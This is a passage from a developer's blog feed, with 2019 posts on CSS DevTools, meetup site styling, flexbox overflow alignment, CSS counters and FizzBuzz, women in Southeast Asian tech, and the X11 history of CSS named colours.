I don't think anyone would have read through this whole thing but these speaking recap posts have been more for myself than anyone else. Spending more than 50% of this year not sleeping in my own bed has sort of broken my sense of time, so writing all this down helps.

I have no idea what 2020 will bring, but I do hope that I've made some positive contributions to the community this year.

DevTools as the ultimate CSS advocate

Sun, 24 Nov 2019 00:00:00 GMT

I've just come off the Mozilla Developer Roadshow, and it's the third one I've done so far. As a Mozilla volunteer, it has been quite a privilege to be part of such a meaningful event. I'm fairly fond of this style of event, where it's focused on local communities, on sharing knowledge and updates about Firefox and web technologies in a smaller, more intimate setting.

📢 @hj_chen is talking about all the awesome features of CSS Grid 🔥@mozilla #DevRoadshow 🇹🇭 pic.twitter.com/yrCByTl7lF
— Henry Lim ✈️ #DevFest 🇮🇩🇲🇾 (@henrylim96) November 20, 2019

My involvement with the roadshow started in 2017, way before I knew what developer relations was. Now, in hindsight, I was probably doing devrel-like things but just not as a full-time job. My interest in tech stemmed from the web, and I genuinely love web technologies. Native web technologies. And the internet as an infrastructure that allowed the web to exist.

Browsers fascinate me to no end as well. Because the web is one of the only places where backwards compatibility is a hard requirement. Everyone involved in growing and advancing the web, from standards bodies, to browser vendors, to open-source contributors, are aware of the phrase “we can't break the web”. And I love that.

So about DevTools and CSS

For the latter half of this year, I've been talking mainly about DevTools for CSS, because the more I thought about it, the more I realised that DevTools is more than just a debugging tool. The nature of how developers access and use DevTools gives it the potential to be much more.

Most web developers will open DevTools at some point in their process, often when things are not behaving as expected. This is an opportunity for DevTools to help with the understanding of what is going on with their CSS.

As of now, Firefox is the only browser that is focusing on moving in this direction. They ship their new CSS features and DevTools support for that feature at the same time. And this makes perfect sense. When developers encounter and try out a new CSS feature, it is inevitable that DevTools will be invoked.

CSS has a very visual output. The value that DevTools can provide is a visualisation of what CSS is doing to the elements on the page. Most browsers have rudimentary support for things like margins, borders and paddings on each element, but that's about it.

CSS GRID IS ANIMATABLE. WHAT?! 🤯

Did not know this.
Now I know this.
TIL!

Thanks, @hj_chen! 😍#ViewSourceConf pic.twitter.com/m7GTtXWv0Q
— Tejas Kumar (@TejasKumar_) October 1, 2019

The newer CSS features, like Flexbox, Grid or Shapes, introduce new properties and behaviours that can sometimes be complicated to people who are encountering them for the first time. One of my not-so-secret agendas is to encourage developers to use as many new (and potentially unfamiliar) CSS properties as possible.

The browser landscape has changed since the early days of Mosaic, and the speed at which new features and bug fixes are shipped has increased dramatically. If DevTools can somehow make it easier to comprehend new CSS properties and behaviours, I'm convinced that more developers would be willing to try them out for themselves.

And that is why I think DevTools can become the ultimate CSS advocate, if browser vendors choose to push their respective DevTools functionality in that direction.

.@hj_chen’s talk on layout logic is a reminder of how great the @FirefoxDevTools are for CSS layout work #ViewSourceConf pic.twitter.com/YtG4N1dvVd
— Melanie Richards (@soMelanieSaid) October 1, 2019

Wrapping up

Anyway, these are just some thoughts about DevTools that I've had but never had the time to explicitly state them during the talks that I give. Largely because the focus of my talks was the CSS, and DevTools was a means to explain the CSS. Because DevTools can be ah-maz-ing at explaining CSS.

The one which is impossible to spell

Mon, 18 Nov 2019 00:00:00 GMT

Some people may be aware that I run the local CSS meetup in Singapore. A few more may know that we've recently celebrated 4 years of miraculous existence. I've always held the strong opinion that the Singapore tech community is one of the most unique and vibrant in the world.

This is the result of an amalgamation of factors, some of which were due to efforts by local community leaders, others simply a matter of good public infrastructure. But what we end up with is a highly conducive environment for sharing knowledge through tech meet-ups.

Community leaders like Michael Cheng, Winston Teo, Chinmay Pendharkar, Sayanee Basu, just to name a few, made a lasting impression on me when I first joined the Singapore tech community back in 2013. The community they built was and still is inclusive, welcoming and open.

Earlier this year, I got to know Gao Wei, who is one of the most amazing human beings I've ever met. At the time she was running an internal sharing at Shopee called React Knowledgeable or <RK />. I am unable to spell the word “Knowledgeable” without thinking hard, even now, hence the title of this post.

One of Shopee's internal sharing sessions

But anyway, she decided to make it public in August this year, and so React Knowledgeable AKA <RK⚡️ /> was born. What does this have to do with me? Especially given that I clearly don't do React (at least not since 2017). Well, I'm useless at many things, but I can CSS better than most people I know (and also design a little bit).

So my contribution to this endeavour is purely visual.

Look and feel

I guess Wei also figured out I'm fairly useless on the React/Gatsby front but she did ask if I could come up with a logo for RK. That I could do. The base concept was the wordmark “`”, and given the code-style syntax, I wanted a monospace font for this.

The website itself was typeset in IBM Plex Mono, which is a pretty nice monospace, but I thought having the same font in the logo and the website itself was a little monotonous. And it just so happened I came across Fantasque Sans Mono.

Personally, I have a soft spot for monospace fonts with a touch of handwriting-like style. And once I saw the glyph for “k” I was sold. Some people collect stamps, some people collect Pokémon, I collect fonts. Don't judge.

I used to use Sketch but only had 1 license. Unfortunately I work on multiple machines, so I realised Figma was a good alternative, and it imported .sketch files beautifully.

Figma is free yo…

A couple of ideas got thrown around but eventually the arcade cabinet design won. There's an in-joke to that, so go ask Wei if you're in town and attend one of the meetups. Once you have a logo, you have to make stickers out of it. Another idea was to have limited edition speaker stickers for people who spoke at the meetup.

For that I thought a glitch effect on the word <RKSpeaker /> would be a fun effect to have inside the arcade cabinet frame. And that became the style for secondary graphics like the 404 page graphic or even the 302 page graphic (it's a Gatsby bug/issue thing)

My favourite sticker supplier, GoodieSwag, handled the designs without issue, so if you're based in Southeast Asia, consider giving them a try for all your sticker printing needs. I print all my stickers with them, FYI.

Ask me for some when if you see me around

Site layout

The React Knowledgeable website is built with Gatsby, and is completely open source on GitHub, so anyone can contribute. Like I mentioned, I'm just the CSS monkey here. So let's talk about the CSS.

As of today (18 November 2019), the site's layout has been modified a couple of times as content has been added, and additional features were introduced. The site was originally prototyped on Glitch before it got ported over to Gatsby, but I've kept the Glitch prototype updated, sort of like an archive of the site's evolution.

The layout morphs quite a bit over different viewport widths because these breakpoints are not arbitrary values. Instead, they are based on content and how best to present all the content within the dimensions of available space.

For all those people who immediately complain about scalability and component reuse and what-not, I say, this is as hipster an endeavour as you will ever find on the web. It's hand-crafted CSS. So you can take your Bootstrap defined components and breakpoints and shove it up your…

Anyway, a lot of Grid and Flexbox in play here, but not exclusively, because the “old-school” display modes also come in handy for certain components at particular viewport sizes as well. I never understood why people only want to use a single method or technique to do all the things. Why colour with 1 crayon when you can use the whole box?

.homePageLayout {
  @media (min-width: 1145px) {
    display: grid;
    grid-template-columns: auto minmax(20em, 30%);
    grid-template-rows: min-content min-content 1fr auto;
    main {
      grid-column: 1;
      grid-row: 2 / span 2;
    }
    aside {
      grid-column: 2;
    }
  }
}

.upcomingMeetupInfo {
  @media (min-width: 748px) and (max-width: 1144px) {
    display: grid;
    grid-template-columns: 1fr auto;
    grid-column-gap: 0.5em;
    h2 {
      grid-column: 1 / -1;
    }
    h3 {
      word-break: break-word;
    }
  }
}

I'm pretty fond of the footer, because it changes the most across the different viewports. Plus, it has a little bit of whimsy sprinkled on. Hopefully not too much that people with vestibular disorders are turned off by it. So there is a prefers-reduced-motion media query put in for that.

@media (prefers-reduced-motion: reduce) {
  .friendLink:hover .friendIcon {
    transform: scale(1.2);
  }
}

i can play around with this for i dont know how long.. got friend of many talents @hj_chen pic.twitter.com/rNB3iKA0nE
— ᴡᴇɪ 👩🏻‍🌾🐒 (@wgao19) July 16, 2019

The latest edition of the site introduced a new block of content for past talks, so we now have a multi-column implementation for that bit as well.

.topicListing {
  column-width: 20em;
}
.topicCard {
  padding-bottom: 2rem;
  break-inside: avoid;
}
.topicIntro {
  display: -webkit-box;
  /* autoprefixer: off */
  -webkit-box-orient: vertical;
  /* autoprefixer: on */
  -webkit-line-clamp: 3;
  overflow: hidden;
}

Again, all the code is open-source on GitHub, or you can also take a peek at the Glitch project to see how it's done.

The website is constantly being updated with new features, like a custom RSVP function (serendipitously similar to the QueerJS website, clearly great minds think alike) and a custom GitHub authentication function. Kudos to Thomas Chia for working tirelessly on it. It's almost 2020 and websites are still cool, my friends.

Wrapping up

The premise behind this meetup is to have an inclusive and welcoming environment for people to share knowledge and things they find interesting, and I love that. I also love that Singapore has a support structure that allows a burgeoning new meetup to find its feet in almost no time at all.

Anyway, if you’re ever in town when one is happening, just drop by and check it out. You won’t regret it. Also, follow React Knowledgeable on all the things (basically just Twitter and GitHub for now).

Box alignment and overflow

Sat, 19 Oct 2019 00:00:00 GMT

Recently I was working on a few chat interfaces, and the general layout is typical to what you would see in most chat applications. There would be an input kissing the bottom of the window, with messages displayed in the chat window on either side depending on who said what.

Usually your own messages would appear on the right, while received messages would appear on the left. Of course there are also some interfaces (Slack) which align all the messages on the left, but the ones I use regularly (Whatsapp, WeChat, Twitter) use the aforementioned left-right style.

Such an interface is not tricky to build with Flexbox and the Box Alignment properties. But I did create a bug in the interface when using the box alignment properties for the messages area. TL:DR, the fix involves using auto margins instead of the justify-content property. Intrigued? Read on.

CSS-ing the chat interface

First, I'll quickly give a broad overview of how a basic chat interface's CSS looks like. So the layout should look something like this:

You would need a container for the entire chat window, divy-ed up into a header, a messages area and the input area right at the bottom. Within the messages area, individual messages would be their own element, laid out left and right.

<aside id="chatWindow">
  <div class="header">
    <h1>Live support</h1>
    <button class="btn-close" id="closeChat">
      <svg viewBox="0 0 47.971 47.971">
        <path
          fill="white"
          d="M28.228 23.986L47.092 5.122a2.998 2.998 0 000-4.242 2.998 2.998 0 00-4.242 0L23.986 19.744 5.121.88a2.998 2.998 0 00-4.242 0 2.998 2.998 0 000 4.242l18.865 18.864L.879 42.85a2.998 2.998 0 104.242 4.241l18.865-18.864L42.85 47.091c.586.586 1.354.879 2.121.879s1.535-.293 2.121-.879a2.998 2.998 0 000-4.242L28.228 23.986z"
        />
      </svg>
    </button>
  </div>

  <div id="message-area" class="messages"></div>

  <div class="controls">
    <form id="textentry">
      <input id="textbox" type="text" />
      <input id="submit" type="submit" value="Send" />
    </form>
  </div>
</aside>

For this particular example, I've used an <aside> element as the chat window body, and applied a display: flex on it. The entire chat window layout is pretty much going to be powered by Flexbox.

aside {
  display: flex;
  flex-direction: column;
  height: 100vh;
}

.header {
  display: flex; /* Because I have a close button I want aligned with the title text */
  align-items: center;
  /* Visual styles not included here but they exist */
}

.messages {
  flex: 1; /* Allows the message area to expand with viewport height */
  display: flex;
  flex-direction: column;
  overflow-y: scroll;
}

.controls {
  /* Visual styles, not much layout */
}

A flex: 1 on the message area while its parent (<aside>) is a flex container with a flex direction of column means that the message area will grow to fill up additional space as viewport height increases, or vice versa.

Use of a single positive integer as the flex value on a flex item is making use of one of the flex keyword values.This keyword resolves to a flex-grow value of whatever the positive integer was, a flex-shrink value of 1 and a flex-basis of 0.

As for the chat bubbles within the message area, each role has their own class, e.g. agent and input. For the chat bubble that is supposed to be on the left, you don't really need to do anything, and for the chat bubble that is supposed to be on the right, add an align-self: flex-end.

The data loss issue

As more messages get exchanged, the total height of all the messages would exceed that of the message area hence we would like the message area to be scrollable.

Initially, in order to have the chat messages start from the bottom of the message area, I had set a justify-content: flex-end on the message area. This works well enough. At first.

.messages {
  flex: 1; /* Allows the message area to expand with viewport height */
  display: flex;
  flex-direction: column;
  overflow-y: scroll;
  justify-content: flex-end;
}

Unfortunately, once we get more messages than the message area can contain, we suffer a data loss issue. We are not able to scroll to the earliest messages.

If you peek into the specification for box alignment, there's this bit:

When the alignment subject is larger than the alignment container, it will overflow. Some alignment modes, if honored in this situation, may cause data loss: for example, if the contents of a sidebar are centered, when they overflow they may send part of their boxes past the viewport’s start edge, which can’t be scrolled to.

And if you look into the flexbox specification, there's also this bit:

Overflowing boxes ignore their auto margins and overflow in the end direction.

Now if you use the overflow alignment keyword of safe, what the browser will do is change the alignment mode back to one that does not result in data loss. And you can try this out in Firefox to see for yourself.

.messages {
  flex: 1; /* Allows the message area to expand with viewport height */
  display: flex;
  flex-direction: column;
  overflow-y: scroll;
  justify-content: safe flex-end;
}

But then the original intention of having the messages start at the bottom of the message area cannot be achieved. The browser has forced the alignment to flex-start to prevent the data loss, so we're back to square one.

The auto-margins fix

The solution I came up with is, instead of setting a justify-content: flex-end to align the messages to the bottom of the message area, I'd set a margin-top: auto on the first child of the messages area.

If you peek at the Flexbox specification this time, you can find this bit:

Prior to alignment via justify-content and align-self, any positive free space is distributed to auto margins in that dimension.

Regardless of how many message bubbles are in the message area, the top auto-margin on the first message bubble will push all the messages down to the bottom of the message area. And when there are many messages, you will still be able to scroll the message area.

Scrollable content

Sorry, your browser doesn't support embedded videos. Sorry, your browser doesn't support embedded videos, but don't worry, you can download itand watch it with your favourite video player!

I've ported a demo showing the difference between the 2 implementations in this CodePen if anyone is interested: https://codepen.io/huijing/pen/zYYoZZP.

References and reading

The wondrous world of CSS counters

Sun, 13 Oct 2019 00:00:00 GMT

The Chinese Layout Task Force works on the Requirements for Chinese Text Layout, and we have monthly calls to discuss issues and updates. One of the issues (actually two) we talked about in the last call involved counter styles.

The issues, titled cjk-tally-mark and cjk-stem-branch counter styles and Classification for 'cjk-earthly-branch' and 'cjk-heavenly-stem, would probably seem weird and mystical for non-Chinese folks, so let's talk about them a bit.

Tally marks

There's mention of “CKJ tally marks” in the first issue. Tally marks are a unary numeral system used for counting. I think once people see what they are, it'll be a relatively familiar sight so these are tally marks:

Tally marks were added to Unicode Version 11.0 in the Counting Rod Numerals block, whose range is 1D360–1D37F. If you want to use these marks for whatever purpose, there is an open-source OpenType-SVG font called Tally Marks hosted on GitHub.

Heavenly stems, earthly branches

This is a literal translation of the Chinese terms 天干地支. The Heavenly Stems (天干) are a system of ordinal numbers, or words that represent a position in a sequence.

For example, the words first, second, third and so on are ordinal numbers. This system is pretty ancient, first appearing during the Shang dynasty (around 1250 BCE), and were used as names of the 10 days of the week.

Modern day usage include choices on multiple choice examinations, school grades (in Taiwan), representative of the alphabetic counterparts of A, B, C, D through till J, as well as in the practice of Feng Shui and astrology. The characters are 甲、乙、丙、丁、戊、己、庚、辛、壬、癸。

Earthly branches (地支) are also an ordering system but mostly used for dates, astrological traditions and zodiac. Ancient Chinese astronomers built the system based on observations of the orbit of Jupiter, which was approximately a 12-year cycle.

12 is a fairly prominent number as there are 12 months in the year, 12 animals in the Chinese zodiac, Chinese double hours of a day (时辰) and so on.

Today, they are used in the “traditional Chinese calendar”, combined with the Heavenly Stems for Feng Shui and astrology purposes, as well as make up the remaining letters after “J” as the Chinese counterpart to the English alphabet.

The characters are 子、丑、寅、卯、辰、巳、午、未、申、酉、戌、亥。But wait, you might be thinking, what about the last 4 letters of the alphabet, W, X, Y and Z? They are represented by the following characters respectively instead, 物、天、地、人。

Some history on CSS counters

So what does all of this have to do with CSS counters? Let's first go back to when list items were first introduced in CSS. This was back in CSS1, where the specification defined basic counter list-style-types of decimal, lower-roman, upper-roman, lower-alpha and upper-alpha.

By the 24 March 1998, when CSS2 reached Proposed Recommendation status, the basic lists section had been moved into 12 Generated content, automatic numbering, and lists. This is the section that defines behaviour of user agents when rendering content that does not come from the document tree.

According to CSS2.1, content may be generated either by the content property when used with the ::before and ::after pseudo-elements, or by elements with the display property value of list-item.

Most of the time, we use strings with the content property. But you could also use a <counter> value, which can be specified by either the counter() function or the counters() function. Other potential values include quotes and attributes (for the subject of the selector only).

Automatic numbering is controlled by two properties, counter-increment and counter-reset. The counters defined by these two properties will be used with the aforementioned counter() or counters() function of the content property.

In the 14 May 2003, the entire section on generated content was split out into what was probably the first public Working Draft of the CSS Generated Content Module Level 3. But even before that, CSS lists already had a working draft of its own.

The first public version I could find was CSS3 module: Lists published on 20 Feb 2002. This version included a much expanded set of international numbering systems, and was the first instance I could find of the cjk-heavenly-stem and cjk-earthly-branch values. It was clear this was a early draft because of this fun bit:

A lot more detail is needed in the above lists, including modulus, more examples, etc. Some of the values are missing. This specification currently does not define how alphabetic systems wrap at the end of the alphabet. For instance, after 26 list items, 'lower-latin' rendering is undefined. This should be changed. XXX

Another relevant specification is the CSS Counter Styles Level 3, which introduces the @counter-style rule, allowing us to define our own custom counter styles for use with CSS list-marker and generated-content counters (defined in the lists specification).

It also includes a list of predefined counter styles. And that's where the cjk-heavenly-stem and cjk-earthly-branch are currently sitting in. Personally, I find counter styles fascinating, as they make me think about how in spite of the different writing systems around the world, counting is universal.

Both CSS Generated Content Module Level 3 and CSS Lists Module Level 3 are still in Working Draft status and contain numerous entertaining (IMHO) comments, which you can go check out if you feel like it.

So about these CSS counters…

If you read the latest version of the lists specification, it defines a counter as a special numeric tracker used, among other things, to automatically number list items in CSS. Counters have a name and creator element.

They are created and manipulated with the 3 counter properties of counter-increment, counter-set and counter-reset, and used with the counter() and counters() functions.

But this is from the working draft specification, so counter-set is currently only supported by Firefox 68 onwards, as with the ::marker pseudo-element, so we'll talk about this later.

`counter-increment`

The counter-increment property takes in 1 or more names of counters, each of which can be optionally followed by an integer. This integer lets you control how much the counter gets incremented for every occurrence of the element. By default, the counter increments by 1 though 0 and negative integers are perfectly acceptable as well.

Note that the keyword values of none, inherit and initial are reserved and cannot be used as counter names.

`counter-reset`

The counter-reset property also has the same syntax, taking in 1 or more names of counters, each of which can be optionally followed by an integer. This integer, however, gives the value that the counter is set to on each occurrence of the element. The default is 0.

Using the counter properties

Although both the above counter properties can be applied to all elements, the values of counters (accessible when using the counter() and counters() functions) can only be referred to from the content property, which is only applicable to the ::before and ::after pseudo-elements.

Given some markup like this:

<nav>
  <h1>An important chapter</h1>
  <p>I guess some broad overview goes here</p>
  <h2>First section in the chapter</h2>
  <p>I really don't know how these are formatted</p>
  <h2>Second section in the chapter</h2>
  <p>Why didn't I just use lorem ipsum?</p>
  <h1>Another chapter</h1>
  <p>Dammit, lorum ipsum was a much better idea</p>
  <h2>First section in next chapter</h2>
  <p>Screw it, we shall soldier on with filler text</p>
</nav>

And some CSS like this:

nav {
  counter-reset: top-level;
}

h1:before {
  content: counter(top-level) ". ";
  counter-increment: top-level;
}

h1 {
  counter-reset: sub-level;
}

h2:before {
  content: counter(top-level) "." counter(sub-level) " ";
  counter-increment: sub-level;
}

The end result looks something like this:

This example used the default counter increment and reset values, but if I'd added some other numbers in there, like used negative numbers and stuff, let's just say there are a lot of number sequences we can play with.

nav {
  counter-reset: top-level -5;
}

h1::before {
  content: counter(top-level) ". ";
  counter-increment: top-level 2;
}

h1 {
  counter-reset: sub-level;
}

h2::before {
  content: counter(top-level) "." counter(sub-level) " ";
  counter-increment: sub-level 4;
}

Negative chapter numbers? Sure…

Some things to look out for when using these properties on the same element or more than once on the same element are:

If an element increments or resets a counter and also uses it in the content property of its pseudo-elements, the counter is used after being incremented/reset.

h3 {
  counter-reset: apple -1; /* Set apple to -1 */
}

h3::before {
  content: counter(apple);
  counter-increment: apple -4; /* Minus 4 from apple */
}

/* The counter value will end up being -5, but any subsequent h3 will also be -5 */
/* because it gets reset to -1 every time */

If an element has both counter-reset and counter-increment, the counter is reset first then incremented
If the same counter is specified more than once in the value of counter-reset or counter-increment, each reset/increment is processed in the order specified
```
h3 {
  counter-reset: apple 4 apple; /* Resets apple to 0 */
}

h3 {
  counter-increment: banana 3 banana 2; /* Increments banana counter by 5 */
}
```

Cascading rules apply as per normal so for the use case of resetting multiple counters, they have to be specified in the same counter-reset property

h4 {
  counter-reset: apple 23;
}
h4 {
  counter-reset: banana 4;
}
/* Will only reset the banana counter */

/* To reset both do the following: */
h4 {
  counter-reset: apple 23 banana 4;
}

New stuff in Level 3

Level 3 of the CSS Lists defines the ::marker pseudo-element, the list-item display type that generates markers, and several properties controlling the placement and styling of markers.

When we apply a display: list-item to an element, it generates a ::marker pseudo-element. There is no other way of generating ::marker pseudo-elements. The marker is a symbol or ordinal that denotes the start of each item in the list.

The marker box is generated by the ::marker pseudo-element as the first-child of the list item, before the ::before pseudo-element, if one exists. Marker boxes are only applicable to list items and only a limited set of properties can be used on it, namely, all font properties, the color property and text-combine-upright.

Remember all the glorious numbering systems we talked about above? These can be called into play with the list-style-type property on the list item, which generates the relevant marker string as the value of its counter.

Support for the different numbering systems varies across browsers, for example amaric is only supported in Safari 4.1 onwards, while cjk-decimal is only supported in Firefox 28 onwards. I suggest referencing this granular compatibility table on MDN.

div {
  counter-reset: apple;
}

h3::before {
  counter-increment: apple;
}

.cjk-decimal h3::before {
  content: counter(apple, cjk-decimal);
}
.cjk-heavenly-stem h3::before {
  content: counter(apple, cjk-heavenly-stem);
}
.cjk-earthly-branch h3::before {
  content: counter(apple, cjk-earthly-branch);
}
.hiragana h3::before {
  content: counter(apple, hiragana);
}
.katakana-iroha h3::before {
  content: counter(apple, katakana-iroha);
}

The above CSS generates lists numbered with cjk-decimal, cjk-heavenly-stem, cjk-earthly-branch, hiragana and katakana-iroha respectively

Pure CSS FizzBuzz

Another thing I had been chatting with my friends with lately was how coding tests were administered and apparently most American-based companies will test on data structures and algorithms regardless of whether you're going for generalist software engineering positions or frontend positions.

This is probably why I'll never get hired, because honestly, I suck at coding tests. Should I go study and learn data structures and algorithms properly? Maybe. But truth be told, I'm not very interested in them at the moment.

On the other hand, it is totally possible to do FizzBuzz in pure CSS, so I'd rather much do that. Because CSS counters let's you do stuff like FizzBuzz. Number sequences are not a problem at all. This is the version using the ::marker pseudo-element:

<ol>
  <li></li>
  …add more li elements, like 30 of them…
  <li></li>
</ol>

li:nth-of-type(3n + 3)::marker {
  content: "Fizz";
}
li:nth-of-type(5n + 5)::marker {
  content: "Buzz";
}
li:nth-of-type(3n + 3):nth-of-type(5n + 5)::marker {
  content: "FizzBuzz";
}

Or the better supported version using counter properties and the ::before pseudo-element:

ol {
  list-style-position: inside;
} /* To line-up all items neatly */

li:nth-of-type(3n + 3),
li:nth-of-type(5n + 5),
li:nth-of-type(3n + 3):nth-of-type(5n + 5) {
  list-style: none; /* When text of Fizz, Buzz or FizzBuzz appears, get rid of the numbers */
}

li:nth-of-type(3n + 3)::before {
  content: "Fizz";
}
li:nth-of-type(5n + 5)::before {
  content: "Buzz";
}
li:nth-of-type(3n + 3):nth-of-type(5n + 5)::before {
  content: "FizzBuzz";
}

Laid out with Flexbox, because I felt like it

People deal with self-doubt in different ways. CSS is my outlet. So there. Anyway, all the counters stuff I was messing around to test things out is in this CodePen, if anyone is interested.

Moar resources

Let's talk about some amazing women in my life

Sun, 25 Aug 2019 00:00:00 GMT

Earlier this week, I had the opportunity to speak on a panel during a Women of ID8 Luncheon, which was part of the larger Facebook iD8 event in Singapore. The panel discussion centred around the topic of “Growing women's influence in the workplace”.

The luncheon was organised by my long-time friend, Elisha Tan. She is a kick-ass woman in tech doing a myriad of awesome things, including TechLadies, a community-led initiative for women in Asia to connect, learn, and advance as programmers.

We first met around the time she was launching the inaugural TechLadies Bootcamp and she asked if I wanted to speak on her panel. Are you sensing a trend here? At the time, I hadn't done much public speaking, probably a grand total of 3 meetup talks to my name. But she put me on there anyway.

I had attended lots of tech meetups previously and it never occured to me that most of the audience was male, until I sat in front of a room full of women.

That was what prompted me to blurt out (in my typical full-on Singlish accent) “Wah, so many char bor!”, which brought endless amusement to a lot of my friends.

Fast forward more than 3 years, and here we are today. Me, still my typical nonsensical self (ask the people who've seen me since day 1), albeit with slightly more public speaking sprinkled in.

While Elisha has continued to push forward her various initiatives to advance women in tech and is now the Developer Programs Manager for APAC at Facebook.

Which brings me back to the luncheon mentioned at the start of this story. I had since gotten the opportunity to speak internationally at a number of tech events, and gotten to know many awesome people in the industry.

People gave me a shot

But none of this would have been possible if not for women of influence like Jen Simmons who pushed my name forward when nobody knew who I was, and conference organisers like Thomas Gorissen, Charis Rooda and Vadim Makeev who took a chance on me when I had no prior track record whatsoever.

I can't do much to repay them directly, because their faith and support was priceless. But I can do this (and you can quote me):

Acknowledge and highlight the achievements of the women around me from this region as publicly as I can.

There are many women in the tech industry who choose not to be public, and that's perfectly fine. But there are also many who just need an opportunity, a shout-out, someone to shine the spotlight on them for once.

I've always highlighted the fact that I am from the region of Southeast Asia. Growing up, all students were made aware of ASEAN (Association of Southeast Asian Nations), from things like economic growth and politics, to sports (i.e. the Southeast Asian games). I just saw all 11 countries in my region as “us”.

Which is why I don't want to be seen as an outlier. I want the world to know that if you think I'm good, you should see the whole pool of talent we have over this side of the planet. That we've had for a long time but you never knew about us.

My girls being casually awesome

So I want to mention just a few of these amazing women in tech whom I have the privilege of calling my friends.

The team at PWDO, who had organised Southeast Asia's longest running web development conference, Form, Function & Class, Kit Valmadrid, Sophia Lucero and Sarah Cada.

I love the folks at @PWDO more than words can ever express ❤️
Meanwhile, recap of last year's excitement, dedicated to conference organisers everywhere 👇
“Murphy’s Law at its finest: the Form Function & Class finale”https://t.co/VgHtcP53bo
— HJ Chen (@hj_chen) August 23, 2019

Aysha Anggraini, my beloved mind twin who is the epitome of sass (you should hear her speak, really) and one of the best frontend developers I know. Oh, and she also happens to be a fellow Malaysian.

Speaking of Malaysians, there's also Chong Sher Minn, who gave a brilliant talk at JSConf EU earlier this year. And queen of CSS herself, Olivia Ng, who is simply the best at designing creative layouts with CSS grid.

Oh, how about Jecelyn Yeen, who took on the mammoth task of organising the inaugural NG-MY, which was Southeast Asia's first Angular conference.

@JecelynYeen One of my favorite Google Developers Expert 💛❤💜💙 pic.twitter.com/SVt3o7otEh
— Su Myat Htun (@devsumyat) August 3, 2019

There's also See Yishu, whom I refer to as the pride of Singapore, because her style of delivery is so perfectly Singaporean. Wonderfully humourous, while still getting the point across.

And Gao Wei, my favourite person in the world, who does a tonne of amazing things, not for glory or recognition, but out of pure passion and curiosity. She also happens to be a great speaker (though she doesn't seem to think so herself), and a bad-ass climber.

.@wgao19 wrote large sections of our new React-Redux docs, and has done a fantastic job (which I think is what got her involved with Docusaurus in the first place). She's worth following, and this umbrella issue on documenting Docusaurus v2 looks worth reading! https://t.co/oltj6XEgh2
— Mark Erikson (@acemarke) July 30, 2019

There are more than 7 billion people in the world. The odds that any of us are in each other's lives is nothing short of a miracle. Yet, I have managed to cross paths with these amazing human beings.

Who happen to be women, who happen to be Asian, who happen to be software developers.

And I hope you get to cross paths with them too.

Where did CSS named colours come from?

Thu, 22 Aug 2019 00:00:00 GMT

Talk.CSS, which is Singapore's monthly CSS meetup, has a segment called CSS colour of the month, where we mention 1 of the 148 named CSS colours. This works out to more than 12 years worth of meetups, and I figured we'd run out of meetups before we ran out of colours.

Since Wei became a co-organiser, we've each been taking turns picking the CSS colour of the month, and for the August edition, she picked snow. The hex code for snow is #fffafa, which works out to a RGB value of rgb(255, 250, 250).

Some of you who are familiar with the notation may already have realised that this gives us a gentle tinge of red. Very, very slight, but still, red. And Wei noticed that snow was red(ish). I had no idea why that was, but I wanted to figure it out.

What do the specifications say?

There is a specification called the CSS Color Module Level 4 that is currently in Editor's Draft status and it defines the colour-related properties and values that already exist in CSS1, CSS2 and CSS Color 3, plus new properties and values. So I thought that'd be a good place to start.

Scroll down to section 6.1 on named colours and we find this:

16 of CSS’s named colors come from HTML originally: aqua, black, blue, fuchsia, gray, green, lime, maroon, navy, olive, purple, red, silver, teal, white, and yellow. Most of the rest come from one version of the X11 color system, used in Unix-derived systems to specify colors for the console.

Ah hah! The X11 colour system! The specification also points us to a talk on the history of the X11 colour system by Alex Sexton in his talk entitled Peachpuffs and Lemonchiffons at CSSConfUS 2014:

It's a great talk, and is one of my favourites. If words are not your thing, just skip the rest of the article and watch Alex talk about colours instead. Super entertaining. ❤️

Also, as someone who personally knows Chris Lilley, I'd like to publicly acknowledge that he is one of the nicest, sweetest people I know. Just putting it out there.

Another fun thing I discovered while reading the specification was that CSS defines a set of <system-color> values which allow us “to specify colours in a manner that integrate them into the users' graphic environment.”

There are security and privacy considerations to this particular feature because in theory, this exposes details of the user's OS settings, which could be used for fingerprinting. Also, this may make it easier for malware site builders to create user interfaces that seamlessly correspond to an user's system.

The specification does state that several system colours are now defined to be “generic”, hence mitigating this risk. This makes me appreciate the many different angles that the CSS Working Group considers when authoring specifications.

I really quite like this specification, so do give it a read if you like colours as much as I do.

So what's this X11 all about?

I messed around with Linux operating systems quite a bit before I even go into web development, so X11 isn't something that is foreign to me. X is a portable, network-transparent window system. X11 is version 11 of the X Window System.

X was built upon an idea developed by Jim Gettys and Bob Scheifler from MIT. Why the name X? It is a derivation of a pre-1983 window system called W, which ran under the V operating system.

From the documentation:

The X Window System is a network transparent window system which runs on a wide range of computing and graphics machines.

The documentation also contains a brief section about colour names, but it didn't go into the choice of colour names. It just mentions that X supports the use of abstract colour names and that the value for this abstract name is obtained by searching one or more colour name databases.

I came across this excellent deep dive into colour-name dictionaries by MIT alum, mathematician and free software developer, Aubrey Jaffer. From there, I found some links to early X11 colour dictionaries, and also learned about colour spaces and tuning.

The X server's database that contains all the colour names is commonly located at /usr/share/X11/rgb.txt. Upon further digging into the version control logs, we can find the list of original colour names that were checked into version control on 19 August, 1985 by Jim Gettys.

2 files were added in that initial commit. rgb.c for parsing the colour list text file and rgb.txt, which contains a list of 68 colours, each with 2 formats of name, camelcase and lowercase with spaces.

The next update to rgb.txt was on 23 February, 1988. That added brown, grey and gray to the list. The RGB values for white were updated from 252, 252, 252 to 255, 255, 255 on 13 May, 1988. An entire grey scale consisting of 100 shades of grey were added to the list on 3 September, 1988, and sandy brown was added the next day.

I highly suggest taking a look at the commit log because amongst the standard messages like added grey0-100, there were fun ones like removed blank line; boy, what a stupid program and made Keith happy among other gems.

snow was added to the list on 26 October, 1989 when the list was expanded with colours which were tuned by Paul Raveling at the Information Sciences Institute (ISI) for the HP monitor. From his notes, we find:

Light and off-white colors, copied from several Sinclair Paints color samples. The intent for adding these is to provide a better choice for light-colored window backgrounds.

Ah hah! The next clue is Sinclair Paints. The Sinclair Paint Co. was a family business founded and run by 6 brothers in the 1930s. The company expanded into several different product divisions, and individual family members specialising in certain aspects of operations.

Unfortunately, the company is now defunct and not much can be found about their original paint swatches. A couple of forum posts on PaintTalk.com are all we have left.

From Alex's talk, I also managed to dig up links to the comp.windows.x mailing list comments which covered the issue of colours, like the one titled “This is pink??”.

Segue into paint colour names

